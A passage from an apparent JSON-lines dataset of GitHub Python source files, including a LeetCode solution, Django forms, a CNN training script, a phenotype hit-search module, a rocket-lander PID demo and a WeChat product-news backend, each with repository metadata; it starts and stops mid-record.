Counter(word2)\n\n for ch1, ch2 in product(string.ascii_lowercase, string.ascii_lowercase):\n\n if ch1 not in count1 or ch2 not in count2:\n continue\n\n count1[ch1] -= 1\n count1[ch2] += 1\n count2[ch1] += 1\n count2[ch2] -= 1\n\n count1 |= Counter()\n count2 |= Counter()\n\n if len(count1) == len(count2):\n return True\n\n count1[ch1] += 1\n count1[ch2] -= 1\n count2[ch1] -= 1\n count2[ch2] += 1\n\n count1 |= Counter()\n count2 |= Counter()\n\n return False\n","repo_name":"pbelskiy/contest","sub_path":"leetcode.com/2531_make_number_of_distinct_characters_equal/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"72876522434","text":"from django import forms\nfrom django.forms.widgets import Select\nfrom linda_app.models import *\nfrom linda_app.multiple_choice_field import MultiSelectFormField\n\n\nclass UserProfileForm(forms.ModelForm):\n picture = forms.ImageField(required=False)\n\n class Meta:\n model = UserProfile\n exclude = ('user',)\n widgets = {\n 'country': Select(attrs={'class': 'chzn-select'}),\n 'scientific_background': Select(attrs={'class': 'chzn-select'}),\n 'rpg_class': Select(attrs={'class': 'chzn-select'}),\n }\n\n\nclass UserForm(forms.ModelForm):\n class Meta:\n model = User\n exclude = ()\n\n\nclass VocabularyUpdateForm(forms.ModelForm):\n class Meta:\n model = Vocabulary\n exclude = ('uploader', 'datePublished', 'dateCreated', 'score', 'votes', 'downloads')\n widgets = {\n 'description': forms.Textarea,\n 'example': forms.Textarea,\n }\n\nfrom haystack.forms import ModelSearchForm\n\n\nclass AutocompleteModelSearchForm(ModelSearchForm):\n\n def search(self):\n if not self.is_valid():\n return self.no_query_found()\n if not self.cleaned_data.get('q'):\n return self.no_query_found()\n sqs = self.searchqueryset.filter(title_auto=self.cleaned_data['q'])\n\n if self.load_all:\n sqs = sqs.load_all()\n\n return sqs\n\n\nclass ConfigurationForm(forms.ModelForm):\n class Meta:\n model = Configuration\n exclude = ()\n\n def __init__(self, *args, **kwargs):\n super(ConfigurationForm, self).__init__(*args, **kwargs)\n self.fields['default_categories'].initial = self.instance.default_categories.split(',')\n\n","repo_name":"LinDA-tools/LindaWorkbench","sub_path":"linda/linda_app/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"61"} +{"seq_id":"22945211947","text":"from Tool.page_tool import PageInfo\nfrom article.models import Reply\n\n\n#删除回复\ndef del_reply_info(reply_id):\n try:\n r=Reply.objects.filter(reply_id=reply_id).update(is_delete=0)\n return r\n except:\n print(\"删除回复失败\")\n\n\n#分页查询回复\ndef query_reply_info(comment_id,page):\n try:\n page_info = PageInfo(page,10)\n replyList = Reply.objects.filter(comment_id=comment_id,is_delete=1).order_by('-create_time')[page_info.start():page_info.end()]\n return replyList\n except:\n print(\"分页查询回复失败\")\n\n\n\n#查看评论下的回复数量:\ndef query_reply_count(comment_id):\n try:\n reply_count = Reply.objects.filter(comment_id=comment_id, is_delete=1).count()\n return reply_count\n except:\n print(\"fail\")","repo_name":"YuexiaoEvins/MPC","sub_path":"Backend/ZhiFou/reply/dao/replyDao.py","file_name":"replyDao.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11777459122","text":"from Models.Classification1 import CNNModel\nfrom torch.utils.data import DataLoader\nfrom torch.autograd import Variable\nimport torch\nimport torch.nn as network\nimport os\n\n# Train the simple CNN Model on the Generated Training data\n# Inputs Taken :\n# trainData : Custom Data Set created from Train.csv file\n# parameters : Model Parameters : Number of Epochs, Number of Classes, Batch Size, Learning rate\n# Optimizer used : Adam\n# Loss Used : CrossEntropy\n\n\ndef CNNTrain(trainData,valData = None,\n parameters = {'num_epochs':5,'num_classes': 9,'batch_size':50,'learning_rate':0.0001}\n ):\n MODELPATH = './DUMPS/'\n\n# Make the directory for storing the Model if it does not exist\n\n if os.path.exists(MODELPATH) == False:\n os.makedirs(MODELPATH)\n model = CNNModel()\n model.double()\n\n# Load the Data Set using Data Loader from PyTorch\n\n loader = DataLoader(trainData,batch_size=50,num_workers=3,shuffle=True)\n criterion = network.CrossEntropyLoss()\n optimizer = torch.optim.Adam(model.parameters(),lr=parameters['learning_rate'])\n batchIndex = 0\n\n# Iterate over the data set. Train the model and save it in .pth format\n for epoch in range(parameters['num_epochs']):\n batchIndex = 0\n for index,data in enumerate(loader):\n trainTensor = (data['image'])\n labelTensor = data['label']\n outputs = model(Variable(trainTensor))\n loss = criterion(outputs,labelTensor)\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n batchIndex = batchIndex + 1\n print('Epoch [{}/{}], Step [{}/{}], Loss: {:.4f}'\n .format(epoch + 1, parameters['num_epochs'],batchIndex,len(loader), loss.item()))\n torch.save(model,MODELPATH + 'CNNModel.pth')\n\n\n\n\n\n\n\n\n\n\n","repo_name":"avikMr1988/SteelSurfaceDefectClassification","sub_path":"Inference/Training.py","file_name":"Training.py","file_ext":"py","file_size_in_byte":1857,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"3484277826","text":"##\\example tu_002a_sound_generation.py\n#More Advance sound generation!!\n#\n#\\n\\n Click on each functions for more detail \\n\n\nimport peaceaudio\nimport peaceaudiolib\n\npeaceaudio.init_peaceaudio(sample_rate = 44100, inch = 0, outch=2, framesPerBuffer = 128)\npeaceaudio.createTable(1024)\npeaceaudio.openStream()\n\n\ndef callback():\n\tpeaceaudio.generate()\n\tpeaceaudio.writeBuffer()\n\t\ntrack = peaceaudio.createStandTrack(freq=220.0,waveshape=peaceaudio.wavetype.sinewave)\nmixer = peaceaudio.createMixer()\nmixer.addTrack(track)\ntrack.setvolume(0.5)\npeaceaudio.setMixer(mixer)\npeaceaudio.setCallback(callback)\n\npeaceaudio.start()\nraw_input(\"Press Enter to exit\")\npeaceaudio.stop()\n","repo_name":"nrad/Pythonia","sub_path":"packages/PeaceSynthesizerFrameworkV0_03linux64/example/tu_002a_sound_generation.py","file_name":"tu_002a_sound_generation.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"72015534274","text":"import turtle\n\n# coordinate representation of sensor locations and angle of measurement\n# camera located at 0, 0\n# max sensor measurement is 400cm\n# drawing view scaled down x2\ns1_x, s1_y, s1_a = -50, 0, 225\ns2_x, s2_y, s2_a = -25, 0, 270\ns3_x, s3_y, s3_a = 25, 0, 270\ns4_x, s4_y, s4_a = 50, 0, 315\nhcsr04_range = 200\nobstacle_range = 50\n\ndef calculate_object_position(t, x, y, a, d):\n \"\"\"Calculates coordinates of object given the sensor coordinates,\n angle, and the distance measurement.\"\"\"\n original_x, original_y = t.pos()\n t.penup()\n t.setposition(x, y)\n t.seth(a)\n t.forward(d)\n object_x, object_y = t.pos()\n t.setposition(original_x, original_y)\n return object_x, object_y\n\n\ndef draw_object(t, x, y, d):\n \"\"\"Draws sensed object as a dot. Objects considered obstacles\n are drawn in red.\"\"\"\n t.penup()\n t.setposition(x, y)\n if d < obstacle_range:\n t.color(\"red\")\n t.pendown()\n t.dot(10)\n t.penup()\n t.color(\"black\")\n\n\ndef draw_objects(t, d1, d2, d3, d4):\n \"\"\"Draws all objects.\"\"\"\n x1, y1 = calculate_object_position(t, s1_x, s1_y, s1_a, d1)\n x2, y2 = calculate_object_position(t, s2_x, s2_y, s2_a, d2)\n x3, y3 = calculate_object_position(t, s3_x, s3_y, s3_a, d3)\n x4, y4 = calculate_object_position(t, s4_x, s4_y, s4_a, d4)\n draw_object(t, x1, y1, d1)\n draw_object(t, x2, y2, d2)\n draw_object(t, x3, y3, d3)\n draw_object(t, x4, y4, d4)\n draw_line_from_sensor(t, s1_x, s1_y, s1_a, d1)\n draw_line_from_sensor(t, s2_x, s2_y, s2_a, d2)\n draw_line_from_sensor(t, s3_x, s3_y, s3_a, d3)\n draw_line_from_sensor(t, s4_x, s4_y, s4_a, d4)\n\n\ndef draw_line_from_sensor(t, x, y, a, d):\n \"\"\"Draws a line along the sensor's measurement path.\"\"\"\n t.penup()\n t.setposition(x, y)\n t.seth(a)\n t.pendown()\n if d < obstacle_range:\n t.color(\"red\")\n else:\n t.color(\"blue\")\n t.forward(d)\n t.penup()\n t.color(\"black\")\n\n\ndef draw_measurement_boundary(t, bound):\n \"\"\"Draws a boundary representing the area of sensor measurement.\"\"\"\n t.penup()\n t.setposition(s1_x, s1_y)\n s1max_x, s1max_y = calculate_object_position(t, s1_x, s1_y, s1_a, bound)\n t.pendown()\n t.goto(s1max_x, s1max_y)\n s2max_x, s2max_y = calculate_object_position(t, s2_x, s2_y, s2_a, bound)\n t.pendown()\n t.goto(s2max_x, s2max_y)\n s3max_x, s3max_y = calculate_object_position(t, s3_x, s3_y, s3_a, bound)\n t.pendown()\n t.goto(s3max_x, s3max_y)\n s4max_x, s4max_y = calculate_object_position(t, s4_x, s4_y, s4_a, bound)\n t.pendown()\n t.goto(s4max_x, s4max_y)\n t.goto(s4_x, s4_y)\n t.penup()\n\n\nif __name__ == '__main__':\n \"\"\"Main function.\"\"\"\n s = turtle.Screen()\n t = turtle.Turtle()\n t.ht()\n # draw boundaries for max sensor measurement and obstacle detection\n draw_measurement_boundary(t, hcsr04_range)\n draw_measurement_boundary(t, obstacle_range)\n # draw sensed objects\n draw_objects(t, 100, 103, 50, 20)\n turtle.getscreen()._root.mainloop()","repo_name":"vraj-desai/eecs495-Brad2","sub_path":"overhead_view.py","file_name":"overhead_view.py","file_ext":"py","file_size_in_byte":3019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7622304825","text":"from __future__ import annotations\n\nfrom scipy.spatial import distance\n\nfrom sauronlab.core.core_imports import *\nfrom sauronlab.model.app_frames import *\nfrom sauronlab.model.cache_interfaces import ASensorCache\nfrom sauronlab.model.compound_names import *\nfrom sauronlab.model.features import *\nfrom sauronlab.model.stim_frames import *\nfrom sauronlab.model.well_names import *\nfrom sauronlab.model.wf_builders import *\n\n\nclass HitFrame(TypedDf):\n \"\"\"\"\"\"\n\n @classmethod\n def reserved_columns(cls):\n \"\"\" \"\"\"\n return [\"run_name\", \"run_id\", \"well_id\", \"well_label\", \"score\"]\n\n def with_runs(self, runs: RunsLike) -> HitFrame:\n runs = [r.id for r in Tools.runs(runs)]\n return HitFrame(self[self[\"run\"].isin(runs)])\n\n\n@abcd.auto_eq()\n@abcd.auto_repr_str()\n@abcd.auto_info()\nclass HitSearch:\n \"\"\"\n A simple interface for \"phenosearching\": calculating scores over an interator of target wells.\n The primary score can be any function of the feature array, such as the mean, or the negative L1 distance to a query well.\n Secondary scores can also be added, each with a name and its own functions; these will be included in the output.\n Use as a builder pattern, then call HitSearch.search() to get a HitFrame object back.\n The scores should always be such that more positive is better.\n Alternatively, you can call HitSearch.iterate() to stream over the results, which are pd.Series containing the columns for HitFrame.\n Whether called with search(), will save every n results as a DataFrame .csv to disk (1000 by default).\n\n Example:\n Like this::\n\n search = HitSearch()\\\n .set_feature('MI')\\\n .set_primary_score(lambda arr, well: -np.abs(arr - prototypical).mean())\\\n .add_secondary_score('mean', lambda arr, well: np.mean(arr))\\\n .set_min_score(-150)\\\n .where(Experiments.id == 12)\\\n .set_save_every(10)\\\n .limit(1000)\n hits = search.search('query_results.csv') # type: HitFrame\n\n \"\"\"\n\n def __init__(self, as_of: datetime):\n \"\"\"\n\n Args:\n as_of:\n\n \"\"\"\n self.as_of = as_of\n self.feature = FeatureTypes.MI\n self.wheres = []\n self.primary_score_fn = None\n self.secondary_score_fns = {}\n self._limit = None\n self._min_scores = {}\n self.save_every = 1000\n\n def set_save_every(self, n: int) -> HitSearch:\n \"\"\"\n Save every ``n`` number of iterations. The default is 1000.\n\n Args:\n n: int:\n\n Returns:\n\n \"\"\"\n self.save_every = n\n return self\n\n def set_feature(self, feature: Union[FeatureType, str]) -> HitSearch:\n \"\"\"\n Sets the feature.\n\n Args:\n feature: A FeatureType or its 'internal' name.\n These are not just the feature names in Valar.\n For example: \"MI\" is just non-interpolated MI, but \"cd(10)_i\" is interpolated cd(10).\n When in doubt, you can pass in ``quick.feature``.\n\n Returns:\n\n \"\"\"\n self.feature = FeatureTypes.of(feature)\n return self\n\n def where(self, expression: ExpressionLike) -> HitSearch:\n \"\"\"\n Restrict the wells searched by a WHERE expression.\n\n Args:\n expression: A peewee WHERE expression such as ``Experiments.id == 1``\n Can be an expression of Runs, Plates, Experiments, Projects, PlateTypes, Batteries, SauronConfigs, or Saurons.\n\n Returns:\n\n \"\"\"\n self.wheres.append(expression)\n return self\n\n def set_primary_score(self, function: Callable[[np.array, Wells], float]) -> HitSearch:\n \"\"\"\n Sets the primary scoring function used. It will be included as a column called 'score' in the results.\n\n Args:\n function: A function that accepts a numpy array and a Wells valarpy instance and returns a single number\n Make sure the function returns HIGHER values for BETTER scores.\n If necessary you can modify the function to return the negative; ex\n ``set_primary_score(lambda arr, well: -my_scoring_fn(arr, well))``\n\n Returns:\n\n \"\"\"\n self.primary_score_fn = function\n return self\n\n def add_secondary_score(\n self, function: Callable[[np.array, Wells], float], name: str\n ) -> HitSearch:\n \"\"\"\n Adds a secondary score, which will be included as an extra column.\n\n Args:\n function: The same format as in ``set_primary_score``\n name: The name that will be given to the column\n\n Returns:\n\n \"\"\"\n if name in HitFrame.reserved_columns():\n raise ReservedError(\"Cannot use the name 'score', which is reserved\")\n if name in self.secondary_score_fns:\n raise AlreadyUsedError(f\"{name} is already used\")\n self.secondary_score_fns[name] = function\n return self\n\n def set_min_score(self, value: float, name: str = \"score\") -> HitSearch:\n \"\"\"\n After calculating the scores for a well, exclude it entirely if its score is below this value.\n\n Args:\n value: The minimum value. For primary scores, higher should always be better.\n name: score' for the primary score or the name of a secondary score\n value: float:\n\n Returns:\n\n \"\"\"\n if name != \"score\" and (name not in self.secondary_score_fns):\n raise LookupFailedError(f\"Score {name} was not found\")\n self._min_scores[name] = value\n return self\n\n def limit(self, n: int) -> HitSearch:\n \"\"\"\n Only search this number of wells. Stop abruptly after.\n This function is generally only used to help debug a phenosearch.\n\n Args:\n n: int:\n\n Returns:\n\n \"\"\"\n if n < 0:\n raise XValueError(f\"Limit {n} is negative\")\n self._limit = n\n return self\n\n def search(self, path: Optional[str] = None) -> HitFrame:\n \"\"\"\n Perform the search over the whole query.\n Will save perodically in the background to file ``path`` if it is not None.\n\n Args:\n path: The file path; should end with '.csv'; if None will not save\n\n Returns:\n A HitFrame, a subclass of DataFrame\n\n \"\"\"\n if self.primary_score_fn is None:\n raise OpStateError(\"Primary scoring function is not set\")\n t0 = time.monotonic()\n results = []\n for i, hit in enumerate(self.iterate()):\n if i % self.save_every == 0 and i > 0:\n self._save_hits(results, path)\n results.append(hit)\n logger.info(\n \"Finished in {} with {} hits\".format(\n Tools.delta_time_to_str(time.monotonic() - t0), len(results)\n )\n )\n return self._save_hits(results, path)\n\n def _save_hits(self, results, path: Optional[str]) -> HitFrame:\n \"\"\"\n\n\n Args:\n results:\n path:\n\n Returns:\n\n \"\"\"\n df = HitFrame(results)\n if path is not None:\n df.to_csv(path)\n logger.trace(f\"Saved {len(results)} hits\")\n return df\n\n def iterate(self) -> Iterator[pd.Series]:\n \"\"\"\n A lower-level alternative to calling ``search``.\n Just returns an iterator over the Pandas Series that would be in the HitFrame when calling ``search``.\n Does NOT save the results periodically.\n\n Example:\n How to use::\n\n for series in search.iterate():\n do_something(series)\n\n Returns:\n\n \"\"\"\n for i, wf in enumerate(self._build_query()):\n for row in range(len(wf)):\n floats = wf.values[i]\n dct = dict(\n well_id=wf[\"well\"][row],\n well_index=wf[\"well_index\"][row],\n run_id=wf[\"run\"][row],\n run_name=wf[\"run_name\"],\n score=self.primary_score_fn(floats, wf[\"well\"][row]),\n )\n if \"score\" in self._min_scores and dct[\"score\"] < self._min_scores[\"score\"]:\n continue\n failed = False\n for name, score in self.secondary_score_fns.items():\n dct[name] = score(floats, wf.well)\n if name in self._min_scores and dct[name] < self._min_scores[name]:\n failed = True\n break\n if not failed:\n yield pd.Series(dct)\n\n def _build_query(self):\n \"\"\" \"\"\"\n builder = WellFrameBuilder(self.as_of)\n for where in self.wheres:\n builder = builder.where(where)\n if self._limit is not None:\n builder = builder.limit_to(self._limit)\n return builder.build()\n\n\nclass HitWellFrame(WellFrame):\n \"\"\" \"\"\"\n\n @classmethod\n def build(cls, hits: HitFrame, namer: WellNamer = WellNamers.general()) -> HitWellFrame:\n \"\"\"\n Converts a HitFrame into a HitWellFrame, which contains well info.\n\n Args:\n hits: HitFrame:\n namer:\n\n Returns:\n\n \"\"\"\n hitwells = set(hits.reset_index()[\"well_id\"].unique())\n scores = hits.reset_index().set_index(\"well_id\")[\"score\"].to_dict()\n # no features\n hitdf = (\n WellFrameBuilder(None)\n .where(Wells.id << hitwells)\n .with_compound_names(CompoundNamers.tiered())\n .with_names(namer)\n .build()\n )\n hitdf[0] = hitdf[\"well\"].map(lambda w: scores[w])\n return HitWellFrame(HitWellFrame.convert(hitdf))\n\n\nclass HitSearchTools:\n \"\"\" \"\"\"\n\n @classmethod\n def stimuli_start_stop_ms(\n cls,\n battery: Union[int, str, Batteries],\n stimuli: Set[Union[int, str, Stimuli]],\n start: bool = True,\n stop: bool = True,\n min_duration_ms: float = 1000,\n ) -> Sequence[int]:\n \"\"\"\n Get a list of the times in stimframes (milliseconds for sauronx)that one or more stimuli of interest changed value.\n If multiple stimuli are passed, does not differentiate. In other words, if red LED is on at 200, then the blue turns on at 255,\n that start will be included (subject to min_duration_ms).\n\n Args:\n battery: The name, ID, or instance of a battery\n stimuli: Either a stimulus or set of stimuli\n start: Include times the stimulus increased in pwm (or volume)\n stop: Include times the stimulus decreased in pwm or volume\n min_duration_ms: WARNING: Uses the stimframes themselves, which have 25-fps-based values in legacy\n\n Returns:\n Restrict to a number of milliseconds where the stimulus is unchaged before that value, and the same with after\n\n \"\"\"\n apps = AppFrame.of(battery)\n if ValarTools.battery_is_legacy(battery):\n warn(\n \"Getting stimulus start and stop positions for a legacy battery.\"\n \"Make sure you're using 25-fps-based values for min_duration_ms instead of milliseconds.\"\n )\n if min_duration_ms < 0:\n raise XValueError(f\"Duration must be >= 0; was {min_duration_ms}\")\n stimuli = [s.name for s in Stimuli.fetch_all(stimuli)]\n positions = []\n apps = AppFrame(apps[apps[\"stimulus\"].isin(stimuli)]).insight()\n since = 0 # ms since a transition (whether used or not)\n value = 0\n for row in apps.itertuples():\n if (\n start and row.value > value or stop and row.value < value\n ) and row.start_ms - since >= min_duration_ms:\n positions.append(row.start_ms)\n since = row.end_ms\n if stop and value > 0 and positions[-1] != row.end_ms:\n positions.append(row.end_ms)\n since = row.end_ms\n value = row.value\n return sorted(positions)\n\n @classmethod\n def triangle_weights(cls, stimframes: BatteryStimFrame, win_size: int = 1000) -> np.array:\n \"\"\"\n\n\n Args:\n stimframes: BatteryStimFrame:\n win_size:\n\n Returns:\n\n \"\"\"\n return stimframes.triangles(win_size).sum(axis=0).values\n\n\nclass TruncatingScorer:\n \"\"\"\n Wraps a similarity score to a query trace into an HitSearch scoring function that truncates to min(query length, target length),\n and warning if the lengths differ by more than 3.\n :return: A function mapping a feature array and a well row into a float where higher is better (more similar).\n\n Args:\n\n Returns:\n\n \"\"\"\n\n def __init__(self, query: np.array, similarity: Callable[[np.array, Wells], float]):\n \"\"\"\n Constructor.\n\n Args:\n query: A time trace of MI or cd(10)\n similarity: Any function that computes a similarity between two arrays. If you have a distance function,\n wrap it in ``lambda x, y: -distance(x, y)``\"\"\"\n self.query = query\n self.similarity = similarity\n self.problematic_wells = set() # type: Set[Wells]\n self.problematic_runs = set() # type: Set[Runs]\n self._max_missing = 3\n\n def __call__(self, target: np.array, well: Wells) -> float:\n \"\"\"\n\n Args:\n target:\n well:\n \"\"\"\n n = min(len(target), len(self.query))\n if abs(len(target) - len(self.query)) > self._max_missing:\n if well.run not in self.problematic_runs:\n logger.warning(\n \"Mismatch of {} between query length {} and target for run r{} length {}\".format(\n len(target) - len(self.query), len(self.query), well.run_id, len(target)\n )\n )\n self.problematic_wells.add(well)\n self.problematic_runs.add(well.run)\n trunc_query, trunc_target = target[0:n], self.query[0:n]\n return self.similarity(trunc_query, trunc_target)\n\n def __repr__(self):\n return (\n self.__class__.__name__\n + \"(\"\n + Tools.pretty_function(self.similarity)\n + \",n=\"\n + str(len(self.query))\n + \" @ \"\n + hex(id(self))\n + \")\"\n )\n\n def __str__(self):\n return repr(self)\n\n\nclass HitScores:\n \"\"\"\"\"\"\n\n @classmethod\n def pearson(\n cls, query: np.array, weights: Optional[np.array] = None\n ) -> Callable[[np.array, Wells], float]:\n \"\"\"\n\n\n Args:\n query: np.array:\n weights:\n\n Returns:\n\n \"\"\"\n\n def pearson(x, y):\n return distance.correlation(x, y, weights)\n\n return TruncatingScorer(query, pearson)\n\n @classmethod\n def minkowski(\n cls, query: np.array, p: float, weights: Optional[np.array] = None\n ) -> Callable[[np.array, Wells], float]:\n \"\"\"\n Returns a scoring function corresponding to an distance distance (Lebesgue) for a degree p.\n Only permits positive p (even though zero and negative p have meanings in functional analysis).\n Accepts p=np.inf\n For example:\n - p=1 is Manhattan distance\n - p=2 is Euclidean distance\n - p=3 is a cubic distance\n - p=np.inf is the maximum\n - p=-np.inf is the minimum\n\n Args:\n query: np.array:\n p: float:\n weights:\n\n Returns:\n\n \"\"\"\n if weights is None:\n weights = 1\n if p == 0:\n\n def similarity(x, y):\n return np.power(2, np.sum(np.log2(weights * np.abs(x - y)))) # TODO check\n\n elif np.isneginf(p):\n\n def similarity(x, y):\n return -np.min(weights * np.abs(x - y))\n\n elif np.isposinf(p):\n\n def similarity(x, y):\n return -np.max(weights * np.abs(x - y))\n\n else:\n\n def similarity(x, y):\n return -np.power(np.power(weights * np.abs(x - y), p).sum(), 1 / p)\n\n similarity.__name__ = f\"-minkowski(p={p})\"\n return TruncatingScorer(query, similarity)\n\n\n__all__ = [\n \"HitFrame\",\n \"HitSearch\",\n \"HitWellFrame\",\n \"HitSearchTools\",\n \"TruncatingScorer\",\n \"HitScores\",\n]\n","repo_name":"chelsell/sauron-legacy","sub_path":"sauronlab/sauronlab/extras/phenosearches.py","file_name":"phenosearches.py","file_ext":"py","file_size_in_byte":16527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19051407423","text":"import gym\nimport gym.spaces\nfrom env.rocketlander import RocketLander\n\nfrom util.pid import PID_Benchmark\n\nimport imageio\nimport base64\nimport IPython\n\ndef embed_mp4(filename):\n\t \"\"\"Embeds an mp4 file in the notebook.\"\"\"\n\t video = open(filename,'rb').read()\n\t b64 = base64.b64encode(video)\n\t tag = '''\n\t '''.format(b64.decode())\n\t\n\t return IPython.display.HTML(tag)\n\n\n\ndef create_policy_eval_video(policy, filename, num_episodes=5, fps=60):\n\tfilename = filename + \".mp4\"\n\twith imageio.get_writer(filename, fps=fps) as video:\n\t\tfor _ in range(num_episodes):\n\t\t\tobservation = env.reset()\n\t\t\tdone = False\n\t\t\tvideo.append_data(env.render(mode='rgb_array'))\n\t\t\twhile not done:\n\t\t\t\taction = policy(observation)\n\t\t\t\tobservation, reward, done, info = env.step(action)\n\t\t\t\tvideo.append_data(env.render(mode='rgb_array'))\n\treturn embed_mp4(filename)\n\n\n\n# Initialize the PID algorithm\npid = PID_Benchmark()\n\nenv = RocketLander(continuous=True)\nobservation = env.reset()\n\nPRINT_DEBUG_MSG = True\n\ncreate_policy_eval_video(pid.pid_algorithm, 'PID', fps=60)\n\nfor e in range(10):\n\twhile True:\n\t\tenv.render()\n\t\t#action = env.action_space.sample()\n\t\taction = pid.pid_algorithm(observation)\n\t\tobservation,reward,done,info = env.step(action)\n\t\n\t\tif PRINT_DEBUG_MSG:\n\t\t\tprint(\"Action Taken \",action)\n\t\t\tprint(\"Observation \",observation)\n\t\t\tprint(\"Reward Gained \",reward)\n\t\t\tprint(\"Info \",info,end='\\n\\n')\n\t\n\t\tif done:\n\t\t\tprint(\"Simulation done.\")\n\t\t\tenv.reset()\n\t\t\tbreak\nenv.close()","repo_name":"mrernst/dqn_rocketlander","sub_path":"testrun.py","file_name":"testrun.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32798708914","text":"import hashlib, time\nimport xml.etree.ElementTree as ET\n\nfrom flask import Blueprint, request, current_app, redirect, url_for\n\nfrom productporter.weixin.consts import *\nfrom productporter.utils.helper import query_products, format_date, \\\n query_top_voted_products, query_search_products, send_mail\n\nweixin = Blueprint('weixin', __name__)\n\n#homepage just for fun\n@weixin.route('/')\ndef index():\n \"\"\" weixin backend home \"\"\"\n return redirect(url_for('product.posts'))\n\n@weixin.route('/mailto/')\ndef view_mail_daily_products(receiver):\n \"\"\" mail products to receiver \"\"\"\n day, products = query_products()\n current_app.logger.info(\"mailto %s of %s products in %s\" % \\\n (receiver, len(products), day))\n return mail_products(None, products, receiver)\n\ndef user_subscribe_event(msg):\n \"\"\" user subscribe event \"\"\"\n return msg['MsgType'] == 'event' and msg['Event'] == 'subscribe'\n\ndef user_event_day_top_voted(msg):\n \"\"\" day top voted \"\"\"\n isclick = msg['MsgType'] == 'event' \\\n and msg['Event'] == 'CLICK' and msg['EventKey'] == 'DAY_TOP_VOTED'\n iscmd = msg['MsgType'] == 'text' and \\\n (msg['Content'].lower() == '1' \\\n or msg['Content'].lower() == 'dtv' \\\n or msg['Content'].lower() == 'day_top_voted')\n return isclick or iscmd\n\ndef user_event_week_top_voted(msg):\n \"\"\" week top voted \"\"\"\n isclick = msg['MsgType'] == 'event' \\\n and msg['Event'] == 'CLICK' and msg['EventKey'] == 'WEEK_TOP_VOTED'\n iscmd = msg['MsgType'] == 'text' and \\\n (msg['Content'].lower() == '2' \\\n or msg['Content'].lower() == 'wtv' \\\n or msg['Content'].lower() == 'week_top_voted')\n return isclick or iscmd\n\ndef user_event_month_top_voted(msg):\n \"\"\" month top voted \"\"\"\n isclick = msg['MsgType'] == 'event' \\\n and msg['Event'] == 'CLICK' and msg['EventKey'] == 'MONTH_TOP_VOTED'\n iscmd = msg['MsgType'] == 'text' and \\\n (msg['Content'].lower() == '3' \\\n or msg['Content'].lower() == 'mtv' \\\n or msg['Content'].lower() == 'month_top_voted')\n return isclick or iscmd\n\ndef user_event_search(msg):\n \"\"\" search product \"\"\"\n iscmd = msg['MsgType'] == 'text' and msg['Content'].startswith(\"search:\")\n return iscmd\n\ndef user_event_mail(msg):\n \"\"\" mail products \"\"\"\n iscmd = msg['MsgType'] == 'text' and msg['Content'].startswith(\"mail:\")\n return iscmd\n\ndef user_event_help(msg):\n \"\"\" help event \"\"\"\n isclick = msg['MsgType'] == 'event' \\\n and msg['Event'] == 'CLICK' and msg['EventKey'] == 'HELP'\n iscmd = msg['MsgType'] == 'text' and \\\n (msg['Content'].lower() == 'h' \\\n or msg['Content'].lower() == 'help')\n return isclick or iscmd\n\ndef user_event_feedback(msg):\n \"\"\" last unknow event \"\"\"\n return True\n\ndef push_welcome_info(msg):\n \"\"\" push welcome info \"\"\"\n return response_text_msg(msg, WELCOME_INFO + HELP_INFO)\n\ndef push_help_info(msg):\n \"\"\" push help info \"\"\"\n return response_text_msg(msg, HELP_INFO)\n\ndef push_thanks_info(msg):\n \"\"\" push thanks info \"\"\"\n return response_text_msg(msg, THANKS_INFO)\n\ndef push_products(msg, products):\n \"\"\" push products \"\"\"\n current_app.logger.info(\"push_products: %d products\" % (len(products)))\n if products is not None and len(products) > 0:\n return response_products_msg(msg, products)\n else:\n return response_text_msg(msg, ERROR_INFO)\n\ndef mail_products(msg, products, receiver):\n \"\"\" Generate weixin href text and send to receiver \"\"\"\n info = \"Mail sent to \" + receiver\n if products is not None and len(products) > 0:\n body = \"\"\n for prod in products:\n item = WX_TEXT_TPL % (prod.name, prod.redirect_url, prod.tagline)\n body += item\n try:\n send_mail(\n subject='PH - ' + time.strftime(\"%Y%m%d\"),\n recipient=receiver,\n body=body,\n subtype=\"html\",\n as_attachment=True)\n except:\n info = \"Failed to send mail to \" + receiver\n else:\n info = ERROR_INFO\n\n if msg is not None:\n return response_text_msg(msg, info)\n else:\n return info + \"\\n\"\n\ndef push_day_top_voted_products(msg):\n \"\"\" push day top voted \"\"\"\n products = query_top_voted_products(days_ago=2, limit=10)\n return push_products(msg, products)\n\ndef push_week_top_voted_products(msg):\n \"\"\" push week top voted \"\"\"\n products = query_top_voted_products(days_ago=7, limit=10)\n return push_products(msg, products)\n\ndef push_month_top_voted_products(msg):\n \"\"\" push month top voted \"\"\"\n products = query_top_voted_products(days_ago=30, limit=10)\n return push_products(msg, products)\n\ndef push_search_result_products(msg):\n \"\"\" push search result \"\"\"\n # skip prefix 'search:'\n keyword = msg['Content'][7:]\n products = query_search_products(keyword)\n current_app.logger.info(\"search_products: %s\" % (keyword))\n return push_products(msg, products)\n\ndef mail_day_top_voted_products(msg):\n \"\"\" mail day top voted products \"\"\"\n # skip prefix 'mail:'\n receiver = msg['Content'][5:]\n products = query_top_voted_products(days_ago=2, limit=50)\n current_app.logger.info(\"mailto: %s\" % (receiver))\n return mail_products(msg, products, receiver)\n\n# weixin event handlers\nEVENT_PROCS = [\n (user_subscribe_event, push_welcome_info),\n (user_event_day_top_voted, push_day_top_voted_products),\n (user_event_week_top_voted, push_week_top_voted_products),\n (user_event_month_top_voted, push_month_top_voted_products),\n (user_event_search, push_search_result_products),\n (user_event_mail, 